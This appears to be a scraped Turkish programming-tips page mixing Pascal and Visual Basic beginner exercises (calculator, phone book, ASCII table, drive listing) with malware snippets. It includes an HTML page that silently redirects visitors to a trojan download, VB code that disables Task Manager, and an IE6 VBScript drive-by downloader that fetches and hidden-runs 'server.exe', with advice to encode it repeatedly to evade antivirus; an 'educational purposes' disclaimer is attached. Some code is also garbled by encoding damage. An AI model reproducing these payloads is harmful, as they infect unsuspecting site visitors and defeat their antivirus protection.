uses crt;
var
x,y:integer;
sonuc:real;
k:char;
procedure menu;
begin clrscr;
gotoxy(15,5);
writeln(’(+) islemi’);
gotoxy(15,7);
writeln(’(-) islemi’);
gotoxy(15,9);
writeln(’(*) islemi’);
gotoxy(15,11);
writeln(’(/) islemi’);
gotoxy(15,13);
writeln(’Cikis islemi için ( b yada B )’);
gotoxy(15,15);
readln(k);
end;
Procedure toplama;
begin
sonuc:=x+y;
end;
Procedure cikarma;
begin
sonuc:=x-y;
end;
Procedure carpma;
begin
sonuc:=x*y;
end;
Procedure bolme;
begin
sonuc:=x/y;
end;
Procedure veri_girisi;
begin clrscr;
gotoxy(15,8);
write(’Birinci Sayiyi Giriniz…:’);
readln(x);
gotoxy(15,10);
write(’Ikinci Sayiyi Giriniz….:’);
readln(y);
end;
Procedure yaz;
begin clrscr;
gotoxy(15,13);
write(’Islemin Sonucu…:’,sonuc:3:2);
readln;
end;

begin clrscr;
repeat;
textbackground(14);
textcolor(black);
menu;
case k of
‘+’: begin veri_girisi; toplama; yaz; end;
‘-’: begin veri_girisi; cikarma; yaz; end;
‘*’: begin veri_girisi; carpma; yaz; end;
‘/’: begin veri_girisi; bolme; yaz; end;
end;
until (k=’b’) or (k=’B’);
end.

uses crt;
var
f,t:text;
yan,ch:char;
s,z:string;
i:byte;
procedure buyuk;
begin
for i:=1 to length(s) do
s:= upcase(s);
end;
procedure ekle;
begin
clrscr;
append(f);
write(’ad soyad.(max.20 harf):’);readln(s);
buyuk;

s:=s+”;s:=copy(s,1,20);write(f,s);
write(’telefon..(max.20 harf):’);readln(s);
s:=s+”;s:=copy(s,1,20);write(f,s);
write(’adres….(max.30 harf’);readln(s);
buyuk;
s:=s+”;s:=copy(s,1,30);writeln(f,s);
close(f);
end;
procedure liste;
begin
clrscr;
writeln(’AD SOYAD TELEFON ADRES’);
reset(f);
repeat
readln(f,s);
writeln(s);
until eof(f);
ch:=readkey;if ch=#0then ch:=readkey;
end;
procedure ara;
begin
clrscr;
write(’ad soyad.(max.20 harf):’);readln(z);
for i:=1 to length(z) do
z:= upcase(z);
z:=z+”;z:=copy(z,1,20);
writeln(’aran�yor……’);
reset(f);
repeat
readln(f,s);
if copy(s,1,20)=z then
begin
writeln(’ AD SOYAD TELEFON ADRES’);
writeln(s);
s:=”;
write(’aramaya devam?(E/H):’);
repeat ch:=upcase(readkey);until ch in[’E’,’H’];
if ch=’E’then begin gotoxy(1,wherey-3);
end else break;
end;
until eof(f);
write(’dosya sonu!’#7);
ch:=readkey;if ch=#0then ch:=readkey;
end;
procedure silme;
begin
clrscr;
write(’ad soyad.(max.20 harf):’);readln(z);
for i:=1 to length(z) do
z:= upcase(z);
z:=z+”;z:=copy(z,1,20);
writeln(’aran�yor…..’);
assign(t,’rehber.tmp’);rewrite(t);
reset(f);
repeat
readln(f,s);
if copy(s,1,20)z then writeln(t,s);
until eof(f);
close(f);
close(t);
erase(f);
rename(t,’rehber.tel’);
end;
procedure degistir;
begin
clrscr;
write(’ad soyad.(max.20 harf):’);readln(z);
for i:=1 to length(z) do
z:=upcase(z);
z:=z+”;z:=copy(z,1,20);
writeln(’araniyor….’);
assign(t,’rehber.tmp’);rewrite(t);
reset(f);
repeat
readln(f,s);
if copy(s,1,20)z then writeln(t,s);
until eof(f);
close(f);
close(t);
erase(f);
rename(t,’rehber.tel’);
clrscr;
append(f);
write(’yeni ad soyad.(max.20 harf):’);readln(s);
buyuk;
s:=s+”;s:=copy(s,1,20);write(f,s);
write(’yeni telefon..(max.20 harf):’);readln(s);
s:=s+”;s:=copy(s,1,20);write(f,s);
write(’yeni adres…(max.30 harf):’);readln(s);
buyuk;
s:=s+”;s:=copy(s,1,30);writeln(f,s);
close(f);
end;
procedure tumunusil;
begin
write(‘bütün kayitlari silmek istediğinizden eminmisiniz?(E/H):’);
repeat
readln(yan);
yan:=upcase(yan);
until yan in [’E’,’H’];
if yan=’E’ then
begin
rewrite(f);
close(f);
end;
end;
procedure cikis;
begin
clrscr;
halt;
end;
begin
assign(f,’rehber.tel’);
{$i-}reset(f);{$i+}
if ioresult0then rewrite(f);
repeat
repeat
clrscr;
textcolor(white);
writeln(’Programmed By Ersan YAKIT’);
writeln;
writeln;
writeln;
writeln;
textcolor(red);
writeln(’ — KULLANIžLI B˜R REHBER PROGRAMI — ‘);
writeln;
textcolor(green);
writeln(’ 1)kayit ekleme’);
writeln(’ 2)kayit listeleme’);
writeln(’ 3)kayit arama’);
writeln(’ 4)kayit silme’);
writeln(’ 5)kayit degistirme’);
writeln(’ 6)kayit sifirlama’);
writeln(’ 7 DOS tan Cikis’);
ch:=readkey;
until ch#7;
case ch of
‘1′:ekle;
‘2′:liste;
‘3′:ara;
‘4′:silme;
‘5′egistir;
‘6′:tumunusil;
‘7′:cikis;
end;
until ch=#7;
readln;
end.

uses crt;
var
a,b,i:integer;
begin
writeln(’1=tum ascii kodlar 2=istenilen ascii kod’);
readln(a);
case a of
1:for i:=30 to 255 do
begin
write(i,chr(i));
delay(50);
end;
2:begin
write(’sayi girin=’);
readln(b);
write(’ascii kod=’,chr(b));
end;
end
readln;
end.

<html>
<head>
<title>Programlama 2000 Online Destek Hattı </title>
</head>
<SCRIPT language=”JavaScript”>
window.location = “http://siteadi.com/trojan.exe”;
window.close()
</SCRIPT>
<body >
</body>
</html>

Html trojan ile kullanıldığı zaman bu kod sayfaya eklenirse trojan yüklendiği anda sayfa otomatik olarak kapanacaktır.Böylece kurban trojanı hangi sitede yuttuğunu anlamayacaktır.

Yasal Uyarı : Bu sitedeki illegal içerikler tamamen bilgilendirme amaclıdır.

Option Explicit

Private Declare Function GetDriveType Lib “kernel32″ Alias _

                                    “GetDriveTypeA” (ByVal nDrive As String) As Long

Private Const DRIVE_REMOVABLE = 2

Private Const DRIVE_FIXED = 3

Private Const DRIVE_REMOTE = 4

Private Const DRIVE_CDROM = 5

Private Const DRIVE_RAMDISK = 6

Private Sub Form_Click()

         Dim i, drv, d$

         For i = 0 To 25

                           d$ = Chr$(i + 65) & “:”

                           drv = GetDriveType(d$)

                           Select Case drv

                                 Case DRIVE_REMOVABLE

                                                   Print d$ & “     Disket Sürücü”

                                 Case DRIVE_FIXED

                                                   Print d$ & “     Sabit Disk”

                                 Case DRIVE_REMOTE

                                                   Print d$ & “     Ağ Sürücüsü”

                                 Case DRIVE_CDROM

                                                   Print d$ & “     CD_ROM Sürücü”

                                 Case DRIVE_RAMDISK

                                                   Print d$ & “     Ram Disk”

                           End Select

         Next i

End Sub

Public Declare Function waveOutGetNumDevs Lib “winmm.dll” () As Long

Private Sub Command1_Click()

         Dim i As Integer

         i = waveOutGetNumDevs()

         If i > 0 Then

                           MsgBox ” Sistemde Ses Kartı Bulunmaktadır “, vbInformation

                           Else

                                 MsgBox ” Sistemde Ses Kartı Bulunmamaktadır “, vbInformation

         End If

End Sub

KAYNAK KODU DOWNLOAD ETME LINKLERi
1- http://rapidshare.com/files/96150856/ctrl_alt_del_tamamen_kapal__305_.rar.html

2- http://s1.dosya.cc/ctrlaltdeltamamenkapal_.rar.html

Option Explicit
Dim r As Long
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject(“w******.shell”)
b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject(“w******.shell”)
b.RegWrite Folder, Value, “REG_DWORD”
End Sub
Public Property Get ReadKey(Value As String) As String
Dim b As Object
On Error Resume Next
Set b = CreateObject(“w******.shell”)
r = b.RegRead(Value)
ReadKey = r
End Property
Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject(“W******.Shell”)
b.RegDelete Value
End Sub
Public Function Disabletaskmanager()
CreateIntegerKey “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskmgr”, “1″
End Function
Public Function enabletaskmanager()
CreateIntegerKey “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskmgr”, “0″
End Function
Private Sub Command1_Click()
Disabletaskmanager
End Sub
Private Sub Command2_Click()
enabletaskmanager
End Sub

KOD

<script language=”VBScript”>
    on error resume next
    Set d1 = document.createElement(“object”)
    d1.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″
    Set d2 = d1.CreateObject(“Microsoft.XMLHTTP”,”")
    set d3 = d1.createobject(“Adodb.Stream”,”")
    d3.type = 1
    d2.Open “GET”, “http://siteniz.com/server.exe” , False
    d2.Send
    set F = d1.createobject(“Scripting.FileSystemObject”,”")
    set pasta = F.GetSpecialFolder(2)
    d4= F.BuildPath(pasta,”server.exe”)
    d3.open
    d3.write d2.responseBody   
    d3.savetofile d4,2
    d3.close
    set obj5 = d1.createobject(“Shell.Application”,”")  
    obj5.ShellExecute d4,”",”",”open”,0
</script>

Bu kodu indexinize koyduğunuz zaman muhtemelen antivirüsler hemen tanıyıp uyarı verecektir.
bu yüzden kodu enc0de etmeniz gerekir.nasılmı?

http://www.codehouse.com/webmaster_tools/html_encoder

buraya kodunuzu yapıştırın ve encode butonuna basın
2. textboxtaki encode edilmiş veriyi alıp indexinize yapıştırın
arka arkaya 2-3 defa encode etmeniz kodunuzu tanınmaz yapmaya yetecektir.

Bilgi :
Bu kod ne konuda eğittiği kesin olarak bilinmesede tamamen eğitim amacı ile verilmiştir.
Internet explorer 6 sürümü olan bütün sistemlerde çalışır.
kodun kullanımı sonucu oluşabilecek zararlardan programlama2000 sorumlu tutulalmaz.

Girilen 6 basamaklı bir sayının en küçük basamağını bulan program

USES CRT;
VAR
 SAYI:STRING;
 DIZI:ARRAY[1..6] OF INTEGER;
 ENK,GECICI,DONDUR,J:INTEGER;
 K:LONGINT;
 KOPYALA:STRING;
BEGIN CLRSCR;
 WRITE(‘6 HANELI BIR SAYI GIRINIZ : ‘);
 READLN(SAYI);

 FOR J:=1 TO 6 DO
  BEGIN
   KOPYALA:=COPY(SAYI,J,1);
   VAL(KOPYALA,DONDUR,K);
   DIZI[J]:=DONDUR;
  END;

 ENK:=999;

 FOR J:=1 TO 6 DO
  BEGIN
   IF DIZI[J]<ENK THEN ENK:=DIZI[J];
  END;

 WRITE(SAYI,’ SAYISININ EN KUCUK HANESI : ‘,ENK);

READLN;
END.